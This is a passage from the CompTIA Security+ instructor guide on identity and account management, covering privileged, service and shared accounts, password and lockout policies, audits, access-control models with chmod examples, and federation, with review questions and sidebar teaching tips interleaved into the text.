Show Slide(s)

Administrator/Root
Accounts

Teaching
Tip
Make sure students
understand the
difference between
privileged accounts
and generic/default
administrator/root/
superuser accounts.
Also note that these Using security groups to assign privileges. (Images © 123RF.com.)
accounts obtain
rights from default
security groups. For
example, in Windows Administrator/Root Accounts
the "Administrator"
account is disabled Administrative or privileged accounts are able to install and remove apps and device
by default, but the drivers, change system-level settings, and access any object in the file system. Ideally,
account created only accounts that have been created and assigned specific permissions should have
during installation is this kind of elevated privilege. In practice, it is very hard to eliminate the presence
automatically added to
the "Administrators"
of default administrator accounts. A default account is one that is created by the
security group, and so operating system or application when it is installed. The default account has every
has exactly the same permission available. In Windows, this account is called Administrator; in Linux, it is
permissions. called root. This type of account is also referred to as a superuser.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 185

Generic Administrator Account Management

Superuser accounts directly contradict the principles of least privilege and separation
of duties. Consequently, superuser accounts should be prohibited from logging on
in normal circumstances. The default superuser account should be restricted to
disaster recovery operations only. In Windows, the account is usually disabled by
default and can be further restricted using group policy (docs.microsoft.com/en-us/
windows-server/identity/ad-ds/plan/security-best-practices/appendix-h--securing-local-
administrator-accounts-and-groups). The first user account created during setup has
superuser permissions, however.

On Windows networks, you also need to distinguish between local administrators and
domain administrators. The scope of a local administrator's privileges is restricted to the
machine hosting the account. Domain administrators can have privileges over any machine
joined to the domain.

Ubuntu Linux follows a similar approach; the root account is configured with no
password and locked, preventing login. An alternate superuser account is created
during setup. In other Linux distributions, a password is usually set at install time. This
password must be kept as securely as is possible.

Administrator Credential Policies

The default superuser should be replaced with one or more named accounts with
sufficient elevated privileges for a given job role. This can be referred to as generic
account prohibition. It means that administrative activity can be audited and the
system as a whole conforms to the property of non-repudiation.

It is a good idea to restrict the number of administrative accounts as much as possible. The
more accounts there are, the more likely it is that one of them will be compromised. On
the other hand, you do not want administrators to share accounts, as that compromises
accountability.

Users with administrative privileges must take the greatest care with credential
management. Privilege-access accounts must use strong passwords and ideally
multifactor authentication (MFA).

Default Security Groups

Most operating systems also create default security groups, with a default set of
permissions. In Windows, privileges are assigned to local group accounts (the Users
and Administrators groups) rather than directly to user accounts. Custom security
groups with different permissions can be created to enforce the principle of least
privilege. In Linux, privileged accounts are typically configured by adding either a user
or a group account to the /etc/sudoers file (linux.com/training-tutorials/start-fine-
tuning-sudo-linux).

Service Accounts Show Slide(s)

Service accounts are used by scheduled processes and application server software, such Service Accounts
as databases. Windows has several default service account types. These do not accept
user interactive logons but can be used to run processes and background services:
• System—has the most privileges of any Windows account. The local system account
creates the host processes that start Windows before the user logs on. Any process
created using the system account will have full privileges over the local computer.

• Local Service—has the same privileges as the standard user account. It can only
access network resources as an anonymous user.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 186 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Network Service—has the same privileges as the standard user account but can
present the computer's account credentials when accessing network resources.

Configuring the credentials for a service running on Windows Server. This service is using the local
system account. This account has full local administrator privileges.
(Screenshot used with permission from Microsoft.)

Linux also uses the concept of service accounts to run non-interactive daemon
processes, such as web servers and databases. These accounts are usually created by
the server application package manager. Users can be prevented from logging into
these accounts (often by setting the password to an unknown value and denying shell
access).
If a named account is manually configured to run a service, the password for the
service account will effectively be shared by multiple administrators. Many operating
systems support automatic provisioning of credentials for service accounts, reducing
the risk of insider threat (techcommunity.microsoft.com/t5/ask-the-directory-services-
team/managed-service-accounts-understanding-implementing-best/ba-p/397009).

Be aware of the risk of using a personal account when a service account is appropriate. If
you use a personal account and the user changes the password or the account is disabled
for some reason, then the service will fail to run, which can cause serious problems with
business applications.

Show Slide(s) Shared/Generic/Device Accounts and Credentials

Shared/Generic/
A shared account is one where passwords (or other authentication credentials) are
Device Accounts and known to more than one person. Typically, simple SOHO networking devices do not
Credentials allow for the creation of multiple accounts and a single "Admin" account is used to
manage the device. These accounts might be configured with a default password.
Other examples include the default (or generic) OS accounts, such as Administrator
and Guest in Windows or root in Linux, or accounts added to default security groups.
Shared accounts may also be set up for temporary staff.
A shared account breaks the principle of non-repudiation and makes an accurate audit
trail difficult to establish. It makes it more likely that the password for the account will
be compromised. The other major risk involves password changes to an account. Since
frequent password changing is a common policy, organizations will need to ensure that
everyone who has access to an account knows when the password will change, and
what that new password will be. This necessitates distributing passwords to a large
group of people, which itself poses a significant challenge to security. Shared accounts
should only be used where these risks are understood and accepted.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 187

Credential Policies for Devices

Network appliances designed for enterprise use are unlikely to be restricted to a
single default account, and will use TACACS+ to support individual accounts and role-
based permissions. If a device can only be operated with a shared password, ensure
separation of duties to ensure the device remains in an authorized configuration.

Privilege Access Management

Even with the most carefully designed role-based permissions, it is almost impossible
to eliminate use of shared/device/root passwords completely. Enterprise privilege
access management products provide a solution for storing these high-risk
credentials somewhere other than a spreadsheet and for auditing elevated privileges
generally (gartner.com/reviews/market/privileged-access-management).

Secure Shell Keys and Third-Party Credentials Show Slide(s)

Secure Shell (SSH) is a widely used remote access protocol. It is very likely to be used to Secure Shell Keys
manage devices and services. SSH uses two types of key pairs: and Third-Party
Credentials
• A host key pair identifies an SSH server. The server reveals the public part when a
client connects to it. The client must use some means of determining the validity of
this public key. If accepted, the key pair is used to encrypt the network connection
and start a session.

• A user key pair is a means for a client to login to an SSH server. The server stores a
copy of the client's public key. The client uses the linked private key to generate an
authentication request and sends the request (not the private key) to the server.
The server can only validate this request if the correct public key is held for that
client.

SSH keys have often not been managed very well, leading to numerous security
breaches, most infamously the Sony hack (ssh.com/malware). There are vendor
solutions for SSH key management or you can configure servers and clients to use
public key infrastructure (PKI) and certificate authorities (CAs) to validate identities.
A third-party credential is one used by your company to manage a vendor service or
cloud app. As well as administrative logons, devices and services may be configured
with a password or cryptographic keys to access hosts via SSH or via an application
programming interface (API). Improper management of these secrets, such as
including them in code or scripts as plaintext, has been the cause of many breaches
(nakedsecurity.sophos.com/2019/03/25/thousands-of-coders-are-leaving-their-crown-
jewels-exposed-on-github).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 188 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Security credentials for an account on Amazon Web Services (AWS). The user can authenticate with a
password credential, or use an access key within a script. The access key is stored only on the user's
client device and cannot be retrieved via the console. It can be disabled or deleted, however.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 189

Review Activity:
Identity and Account Types
Answer the following questions:

1. You are consulting with a company about a new approach to authenticating

users. You suggest there could be cost savings and better support for
multifactor authentication (MFA) if your employees create accounts with a
cloud provider. That allows the company's staff to focus on authorizations
and privilege management. What type of service is the cloud vendor
performing?

The cloud vendor is acting as the identity provider.

2. What is the process of ensuring accounts are only created for valid users,
only assigned the appropriate privileges, and that the account credentials
are known only to the valid user?

Onboarding.

3. What is the policy that states users should be allocated the minimum
sufficient permissions?

Least privilege.

4. What is a SOP?

A standard operating procedure (SOP) is a step-by-step listing of the actions that must
be completed for any given task.

5. What type of organizational policies ensure that at least two people have
oversight of a critical business process?

Shared authority, job rotation, and mandatory enforced vacation/holidays.

6. Recently, attackers were able to compromise the account of a user whose

employment had been terminated a week earlier. They used this account
to access a network share and delete important files. What account
vulnerability enabled this attack?

While it's possible that lax password requirements and incorrect privileges may
have contributed to the account compromise, the most glaring problem is that the
terminated employee's account wasn't disabled. Since the account was no longer being
used, it should not have been left active for a malicious user to exploit.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 190 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

7. For what type of account would interactive logon be disabled?

Interactive logon refers to starting a shell. Service accounts do not require this type
of access. Default superuser accounts, such as Administrator and root, may also be
disabled, or limited to use in system recovery or repair.

8. What type of files most need to be audited to perform third-party credential

management?

SSH and API keys are often unsecurely embedded in computer code or uploaded
mistakenly to repositories alongside code. Also, managing shared credentials can be
difficult, and many sites resort to storing them in a shared spreadsheet.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 191

Topic 8B
Implement Account Policies

EXAM OBJECTIVES COVERED Teaching

3.7 Given a scenario, implement identity and account management controls Tip
This topic covers
technical controls for
account management,
Account policies enforce the privilege management policy by setting what users can
such as system-
and cannot do. This helps you to enforce strong credential policies and to detect and enforced policies and
manage risks from compromised accounts. Auditing and permission reviews can reveal auditing tools.
suspicious behavior and attempts to break through security.

Account Attributes and Access Policies Show Slide(s)

As well as authenticating the user, an account can be configured with attributes as Account Attributes and
a user profile. Account objects can also be used to assign permissions and access Access Policies
policies.

Account Attributes
A user account is defined by a unique security identifier (SID), a name, and a
credential. Each account is associated with a profile. The profile can be defined with
custom identity attributes describing the user, such as a full name, email address,
contact number, department, and so on. The profile may support media, such as an
account picture.
As well as attributes, the profile will usually provide a location for storing user-
generated data files (a home folder). The profile can also store per-account settings for
software applications.

Access Policies
Each account can be assigned permissions over files and other network resources
and access policies or privileges over the use and configuration of network hosts.
These permissions might be assigned directly to the account or inherited through
membership of a security group or role. Access policies determine things like the right
to log on to a computer locally or via remote desktop, install software, change the
network configuration, and so on.
On a Windows Active Directory network, access policies can be configured via group
policy objects (GPOs). GPOs can be used to configure access rights for user/group/
role accounts. GPOs can be linked to network administrative boundaries in Active
Directory, such as sites, domains, and Organizational Units (OU).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 192 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring access policies and rights using Group Policy Objects in Windows Server 2016.
(Screenshot used with permission from Microsoft.)

Show Slide(s) Account Password Policy Settings

Account Password
System-enforced account policies can help to enforce credential management
Policy Settings principles by stipulating requirements for user-selected passwords:

Teaching
• Password length—enforces a minimum length for passwords. There may also be a
Tip
maximum length.
Students should • Password complexity—enforces password complexity rules (that is, no use of
appreciate that the username within password and combination of at least eight upper/lower case
syllabus regards
complexity and
alpha-numeric and non-alpha-numeric characters).
aging as appropriate
policies, but make
• Password aging—forces the user to select a new password after a set number of
them aware of days.
the updated NIST
guidance. • Password reuse and history—prevents the selection of a password that has been
used already. The history attribute sets how many previous passwords are blocked.

In this context, you should note that the most recent guidance issued by NIST (nvlpubs.
nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf) deprecates some of the
"traditional" elements of password policy:
• Complexity rules should not be enforced. The user should be allowed to choose
a password (or other memorized secret) of between 8 and 64 ASCII or UNICODE
characters, including spaces. The only restriction should be to block common
passwords, such as dictionary words, repetitive strings (like 12345678), strings
found in breach databases, and strings that repeat contextual information, such as
username or company name.

• Aging policies should not be enforced. Users should be able to select if and when
a password should be changed, though the system should be able to force a
password change if compromise is detected.

• Password hints should not be used. A password hint allows account recovery by
submitting responses to personal information, such as first school or pet name.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 193

The cartoon at xkcd.com/936 sums up the effect of policies on password entropy.

One approach to a password hint is to treat it as a secondary password and submit a

random but memorable phrase, rather than an "honest" answer. The risk in allowing
password hints is demonstrated by the data recovered in the Adobe data breach
(nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-
sized-cryptographic-blunder).

Password reuse can also mean using a work password elsewhere (on a website, for
instance). This sort of behavior can only be policed by soft policies.

Account Restrictions Show Slide(s)

To make the task of compromising the user security system harder, account Account Restrictions
restrictions can be used.

Location-Based Policies
A user or device can have a logical network location, identified by an IP address,
subnet, virtual LAN (VLAN), or organizational unit (OU). This can be used as an account
restriction mechanism. For example, a user account may be prevented from logging on
locally to servers within a restricted OU.
The geographical location of a user or device can also be calculated using a geolocation
mechanism. There are several types of geolocation:
• IP address—these can be associated with a map location to varying degrees of
accuracy based on information published by the registrant, including name, country,
region, and city. The registrant is usually the Internet service provider (ISP), so the
information you receive will provide an approximate location of a host based on the
ISP. If the ISP is one that serves a large or diverse geographical area, you will be less
likely to pinpoint the location of the host Internet service providers (ISPs). Software
libraries, such as GeoIP (maxmind.com/en/geoip-demo), facilitate querying this data.

• Location Services—these are methods used by the OS to calculate the device's

geographical position. A device with a global positioning system (GPS) sensor
can report a highly accurate location when outdoors. Location services can also
triangulate to cell towers, Wi-Fi hotspots, and Bluetooth signals where GPS is not
supported.

Geofencing refers to accepting or rejecting access requests based on location.

Geofencing can also be used for push notification to send alerts or advice to a device
when a user enters a specific area. Geotagging refers to the addition of location
metadata to files or devices. This is often used for asset management to ensure devices
are kept with the proper location.

Time-Based Restrictions
There are three main types of time-based policies:
• A time of day policy establishes authorized logon hours for an account.

• A time-based login policy establishes the maximum amount of time an account may
be logged in for.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 194 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• An impossible travel time/risky login policy tracks the location of login events over
time. If these do not meet a threshold, the account will be disabled. For example, a
user logs in to an account from a device in New York. A couple of hours later, a login
attempt is made from LA, but this is refused and an alert raised because it is not
feasible for the user to be in both locations.

Show Slide(s) Account Audits

Account Audits
Accounting and auditing processes are used to detect whether an account has been
compromised or is being misused. A security or audit log can be used to facilitate
Teaching detection of account misuse:
Tip
• Accounting for all actions that have been performed by users. Change and version
Students should control systems depend on knowing when a file has been modified and by whom.
be aware of risks
from "unmanaged"
Accounting also provides for non-repudiation (that is, a user cannot deny that
accounts that have they accessed or made a change to a file). The main problems are that auditing
been created and successful access attempts can quickly consume a lot of disk space, and analyzing
forgotten about and the logs can be very time-consuming.
authorization creep.
• Detecting intrusions or attempted intrusions. Here records of failure-type events
are likely to be more useful, though success-type events can also be revealing if they
show unusual access patterns.

Recording an unsuccessful attempt to take ownership of an audited folder.

(Screenshot used with permission from Microsoft.)

Account auditing also refers to more general change control. You need to take account
of changes to resources and users. Resources may be updated, archived, or have their
clearance level changed. Users may leave, arrive, or change jobs (roles). For example,
if a user has moved to a new job, old privileges may need to be revoked and new ones
granted. This process is referred to as recertification. Managing these sorts of changes
efficiently and securely requires effective standard operating procedures (SOPs) and
clear and timely communication between departments (between IT and HR, for instance).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 195

Account Permissions Show Slide(s)

Where many users, groups, roles, and resources are involved, managing account Account Permissions
permissions is complex and time-consuming. Improperly configured accounts can
have two different types of impact. On the one hand, setting privileges that are too
restrictive creates a large volume of support calls and reduces productivity. On the
other hand, granting too many privileges to users weakens the security of the system
and increases the risk of things like malware infection and data breach.

The phrase "authorization creep" refers to an employee who gains more and more access
privileges the longer they remain with the organization.

A user may be granted elevated privileges temporarily (escalation). In this case, some
system needs to be in place to ensure that the privileges are revoked at the end of the
agreed period.
A system of auditing needs to be put in place so that privileges are reviewed regularly.
Auditing would include monitoring group membership and reviewing access control
lists for each resource plus identifying and disabling unnecessary accounts.

Determining effective permissions for a shared folder.

(Screenshot used with permission from Microsoft.)

Usage Audits Show Slide(s)

Usage auditing means configuring the security log to record key indicators and then Account Permissions
reviewing the logs for suspicious activity. Determining what to log is one of the most Usage Audits
considerable challenges a network administrator can face. For Active Directory,
Microsoft has published audit policy recommendations for baseline requirements and
networks with stronger security requirements (docs.microsoft.com/en-us/windows-
server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 196 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Some typical categories include:

• Account logon and management events.

• Process creation.

• Object access (file system/file shares).

• Changes to audit policy.

• Changes to system security and integrity (anti-virus, host firewall, and so on).

Configuring audit entries for a folder in Windows. (Screenshot used with permission from Microsoft.)

Show Slide(s) Account Lockout and Disablement

Account Lockout and
If account misuse is detected or suspected, the account can be manually disabled
Disablement by setting an account property. This prevents the account from being used for login.
Note that disabling the account does not close existing sessions. You can issue a
remote logoff command to close a session. Account disablement means that login is
permanently prevented until an administrator manually re-enables the account.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 197

Setting a property to disable an account. (Screenshot used with permission from Microsoft.)

An account lockout means that login is prevented for a period. This might be
done manually if a policy violation is detected, but there are several scenarios for
automatically applying a lockout:
• An incorrect account password is entered repeatedly.

• The account is set to expire. Setting an account expiration date means that an
account cannot be used beyond a certain date. This option is useful on accounts for
temporary and contract staff.

• When using time- or location-based restrictions, the server periodically checks

whether the user has the right to continue using the network. If the user does not
have the right, then an automatic logout procedure commences.

Configuring an account lockout policy. (Screenshot used with permission from Microsoft.)

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 198 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Account Policies
Answer the following questions:

1. What container would you use if you want to apply a different security
policy to a subset of objects within the same domain?

Organization Unit (OU).

2. Why might forcing users to change their password every month be

counterproductive?

More users would forget their password, try to select unsecure ones, or write them
down/record them in a non-secure way (like a sticky note).

3. What is the name of the policy that prevents users from choosing old
passwords again?

Enforce password history.

4. In what two ways can an IP address be used for context-based

authentication?

An IP address can represent a logical location (subnet) on a private network. Most types
of public IP address can be linked to a geographical location, based on information
published by the registrant that manages that block of iP address space.

5. How does accounting provide non-repudiation?

A user's actions are logged on the system. Each user is associated with a unique
computer account. As long as the user's authentication is secure and the logging
system is tamper-proof, they cannot deny having performed the action.

6. Which information resource is required to complete usage auditing?

Usage events must be recorded in a log. Choosing which events to log will be guided by
an audit policy.

7. What is the difference between locked and disabled accounts?

An account enters a locked state because of a policy violation, such as an incorrect

password being entered incorrectly. Lockout is usually applied for a limited duration.
An account is usually disabled manually, using the account properties. A disabled
account can only be re-enabled manually.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 199

Topic 8C
Implement Authorization Solutions

EXAM OBJECTIVES COVERED Teaching

2.4 Summarize authentication and authorization design concepts Tip
3.8 Given a scenario, implement authentication and authorization solutions This topic focuses
4.1 Given a scenario, use the appropriate tool to assess organizational security (chmod only) on access control
schemes, such as DAC
Implementing an effective authorization solution system requires understanding of the versus MAC. We also
different models that such systems can be based on. While an on-premises network look at authorization
protocols in the
can use a local directory to manage accounts and rights, as organizations move context of federated
services to the cloud, these authorizations have to be implemented using federated identity management.
identity management solutions. This topic is quite
complex, so be
prepared to allocate
Discretionary and Role-Based Access Control plenty of time to
presenting it.
An important consideration in designing a security system is to determine how users
receive rights or permissions. The different models are referred to as access control Show Slide(s)
schemes.
Discretionary and
Discretionary Access Control (DAC) Role-Based Access
Control
Discretionary access control (DAC) is based on the primacy of the resource owner.
The owner is originally the creator of a file or service, though ownership can be Teaching
assigned to another user. The owner is granted full control over the resource, meaning Tip
that he or she can modify its access control list (ACL) to grant rights to others. Real world
DAC is the most flexible model and is currently implemented widely in terms of implementations of
access control do not
computer and network security. In terms of file system security, it is the model used exactly conform to
by default for most UNIX/Linux distributions and by Microsoft Windows. As the most these models. Discuss
flexible model, it is also the weakest because it makes centralized administration of some examples and
security policies the most difficult to enforce. It is also the easiest to compromise, as it ask students how
is vulnerable to insider threats and abuse of compromised accounts. they would categorize
them. Emphasize the
difference between
Role-Based Access Control (RBAC) discretionary and non-
discretionary/rule-
Role-based access control (RBAC) adds an extra degree of centralized control to
based access control.
the DAC model. Under RBAC, a set of organizational roles are defined, and subjects
The key difference
allocated to those roles. Under this system, the right to modify roles is reserved to a is where decision-
system owner. Therefore, the system is non-discretionary, as each subject account has making lies. With
no right to modify the ACL of a resource, even though they may be able to change the DAC, it lies with the
resource in other ways. Users are said to gain rights implicitly (through being assigned resource owner. In
to a role) rather than explicitly (being assigned the right directly). RBAC and MAC, it lies
with the system owner
RBAC can be partially implemented through the use of security group accounts, but (that is, the controls
they are not identical schemes. Membership of security groups is largely discretionary are enforced system-
(assigned by administrators, rather than determined by the system). Also, ideally, a wide and cannot be
countermanded or
subject should only inherit the permissions of a role to complete a particular task excepted by users
rather than retain them permanently. "within" the system).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 200 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) File System Permissions

File System
An access control model can be applied to any type of data or software resource
Permissions but is most closely associated with network, file system, and database security. With
file system security, each object in the file system has an ACL associated with it. The
Teaching ACL contains a list of accounts (principals) allowed to access the resource and the
Tip permissions they have over it. Each record in the ACL is called an access control entry
Both Windows and (ACE). The order of ACEs in the ACL is important in determining effective permissions
Linux file permissions for a given account. ACLs can be enforced by a file system that supports permissions,
are covered at A+ such as NTFS, ext3/ext4, or ZFS.
level, so will hopefully
be familiar to the
students. chmod is
called out as a content
example, so we cover
it in a bit more detail
than Windows ACLs.

Configuring an access control entry for a folder. (Screenshot used with permission from Microsoft.)

For example, in Linux, there are three basic permissions:

• Read (r)—the ability to access and view the contents of a file or list the contents of a
directory.
• Write (w)—the ability to save changes to a file, or create, rename, and delete files in
a directory (also requires execute).
• Execute (x)—the ability to run a script, program, or other software file, or the ability
to access a directory, execute a file from that directory, or perform a task on that
directory, such as file search.
These permissions can be applied in the context of the owner user (u), a group account
(g), and all other users/world (o). A permission string lists the permissions granted in
each of these contexts:
d rwx r-x r-x home
The string above shows that for the directory (d), the owner has read, write, and execute
permissions, while the group context and other users have read and execute permissions.
The chmod command is used to modify permissions. It can be used in symbolic mode
or absolute mode. In symbolic mode, the command works as follows:
chmod g+w, o-x home

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 201

The effect of this command is to append write permission to the group context and
remove execute permission from the other context. By contrast, the command can also
be used to replace existing permissions. For example, the following command applies
the configuration shown in the first permission string:
chmod u=rwx,g=rx,o=rx home
In absolute mode, permissions are assigned using octal notation, where r=4, w=2, and
x=1. For example, the following command has the same effect:
chmod 755 home

Mandatory and Attribute-Based Access Control Show Slide(s)

The DAC and RBAC models expose privileged accounts to the threat of compromise. Mandatory and
More restrictive access control models can be used to mitigate this threat. Attribute-Based Access
Control
Mandatory Access Control (MAC)
Mandatory access control (MAC) is based on the idea of security clearance levels.
Rather than defining ACLs on resources, each object and each subject is granted a
clearance level, referred to as a label. If the model used is a hierarchical one (that is,
high clearance users are trusted to access low clearance objects), subjects are only
permitted to access objects at their own clearance level or below.
The labelling of objects and subjects takes place using pre-established rules. The critical
point is that these rules cannot be changed by any subject account, and are therefore
non-discretionary. Also, a subject is not permitted to change an object's label or to
change his or her own label.

Attribute-Based Access Control (ABAC)

Attribute-based access control (ABAC) is the most fine-grained type of access control
model. As the name suggests, an ABAC system is capable of making access decisions
based on a combination of subject and object attributes plus any context-sensitive or
system-wide attributes. As well as group/role memberships, these attributes could
include information about the OS currently being used, the IP address, or the presence
of up-to-date patches and anti-malware. An attribute-based system could monitor
the number of events or alerts associated with a user account or with a resource, or
track access requests to ensure they are consistent in terms of timing of requests or
geographic location. It could be programmed to implement policies, such as M-of-N
control and separation of duties.

Rule-Based Access Control Show Slide(s)

Rule-based access control is a term that can refer to any sort of access control model Rule-Based Access
where access control policies are determined by system-enforced rules rather than Control
system users. As such, RBAC, ABAC, and MAC are all examples of rule-based (or non-
discretionary) access control. As well as the formal models, rule-based access control Teaching
principles are increasingly being implemented to protect computer and network Tip
systems founded on discretionary access from the sort of misconfiguration that can Rule-based access
occur through DAC. control is also not
necessarily dependent
Conditional Access on the identity of the
user (a firewall ACL,
Conditional access is an example of rule-based access control. A conditional access for instance).
system monitors account or device behavior throughout a session. If certain
conditions are met, the account may be suspended or the user may be required to
re-authenticate, perhaps using a 2-step verification method. The User Account Control

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 202 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

(UAC) and sudo restrictions on privileged accounts are examples of conditional access.
The user is prompted for confirmation or authentication when requests that require
elevated privileges are made. Role-based rights management and ABAC systems can
apply a number of criteria to conditional access, including location-based policies
(docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview).

Privileged Access Management

A privileged account is one that can make significant configuration changes to a host,
such as installing software or disabling a firewall or other security system. Privileged
accounts also have rights to log on network appliances and application servers.
Privileged access management (PAM) refers to policies, procedures, and technical
controls to prevent the malicious abuse of privileged accounts and to mitigate risks
from weak configuration control over privileges. These controls identify and document
privileged accounts, giving visibility into their use, and manage the credentials used to
access them (beyondtrust.com/resources/glossary/privileged-access-management-pam).

Show Slide(s) Directory Services

Directory Services
Directory services are the principal means of providing privilege management and
authorization on an enterprise network, storing information about users, computers,
Teaching security groups/roles, and services. A directory is like a database, where an object is
Tip like a record, and things that you know about the object (attributes) are like fields. In
Directory services order for products from different vendors to be interoperable, most directories are
are critical to the based on the same standard. The Lightweight Directory Access Protocol (LDAP) is a
functioning of most protocol widely used to query and update X.500 format directories.
enterprise networks.
They are also used A distinguished name (DN) is a unique identifier for any given resource within an X.500-like
over the Internet (IM directory. A distinguished name is made up of attribute=value pairs, separated by commas.
user directories, for The most specific attribute is listed first, and successive attributes become progressively
instance). The main
broader. This most specific attribute is also referred to as the relative distinguished name,
concerns are with
the confidentiality of as it uniquely identifies the object within the context of successive (parent) attribute values.
the information (read
access), integrity of
the information (write
access), and DoS
(preventing network
access by knocking out
the directory server).
Note that the
common name (CN)
attribute of an X.509
digital certificate is
commonly configured
as the FQDN. In an
X.500 directory, CN
is a single host or
username label. The
distinguished name is
specified through the
hierarchy of attributes.

Browsing objects in an Active Directory LDAP schema. (Screenshot used with permission from Microsoft.)

The types of attributes, what information they contain, and the way object types are
defined through attributes (some of which may be required, and some optional) is
described by the directory schema. Some of the attributes commonly used include
common name (CN), organizational unit (OU), organization (O), country (C), and domain

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 203

component (DC). For example, the distinguished name of a web server operated by
Widget in the UK might be:
CN=WIDGETWEB, OU=Marketing, O=Widget, C=UK,
DC=widget, DC=foo

Federation and Attestation Show Slide(s)

An on-premises network can use technologies such as LDAP and Keberos, very often Federation and
implemented as a Windows Active Directory network, because the administration Attestation
of accounts and devices can be centralized. Expanding this type of network to share
resources with business partners or use services in public clouds means implementing Teaching
some type of federation technology. Tip
Make sure that
Federation students understand
the concepts of
Federation is the notion that a network needs to be accessible to more than just a federation and trusts
well-defined group of employees. In business, a company might need to make parts of and that SAML is a
its network open to partners, suppliers, and customers. The company can manage its means of exchanging
authorizations in a
employee accounts easily enough. Managing accounts for each supplier or customer federated network.
internally may be more difficult. Federation means that the company trusts accounts
created and managed by a different network. As another example, in the consumer
world, a user might want to use both Google Apps and Twitter. If Google and Twitter
establish a federated network for the purpose of authentication and authorization,
then the user can log on to Twitter using his or her Google credentials or vice versa.

Identity Providers and Attestation

In these models, the networks perform federated identity management. A user from
one network is able to provide attestation that proves their identity. In very general
terms, the process is similar to that of Kerberos authorization, and works as follows:
1. The user (principal) attempts to access a service provider (SP), or the relying party
(RP). The service provider redirects the principal to the identity provider (IdP) to
authenticate.

2. The principal authenticates with the identity provider and obtains an attestation
of identity, in the form of some sort of token or document signed by the IdP.

3. The principal presents the attestation to the service provider. The SP can validate
that the IdP has signed the attestation because of its trust relationship with
the IdP.

4. The service provider can now connect the authenticated principal to its own
accounts database. It may be able to query attributes of the user account profile
held by the IdP, if the principal has authorized this type of access.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 204 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Federated identity management overview. (Images © 123RF.com.)

Cloud versus On-Premises Requirements

Where a company needs to make use of cloud services or share resources with
Show Slide(s) business partner networks, authentication and authorization design comes with
more constraints and additional requirements. Web applications might not support
Kerberos, while third-party networks might not support direct federation with Active
Security Assertions
Markup Language Directory/LDAP. The design for these cloud networks is likely to require the use of
standards for performing federation and attestation between web applications.
Teaching
Tip Security Assertions Markup Language
While SAML is
complex, make sure A federated network or cloud needs specific protocols and technologies to implement
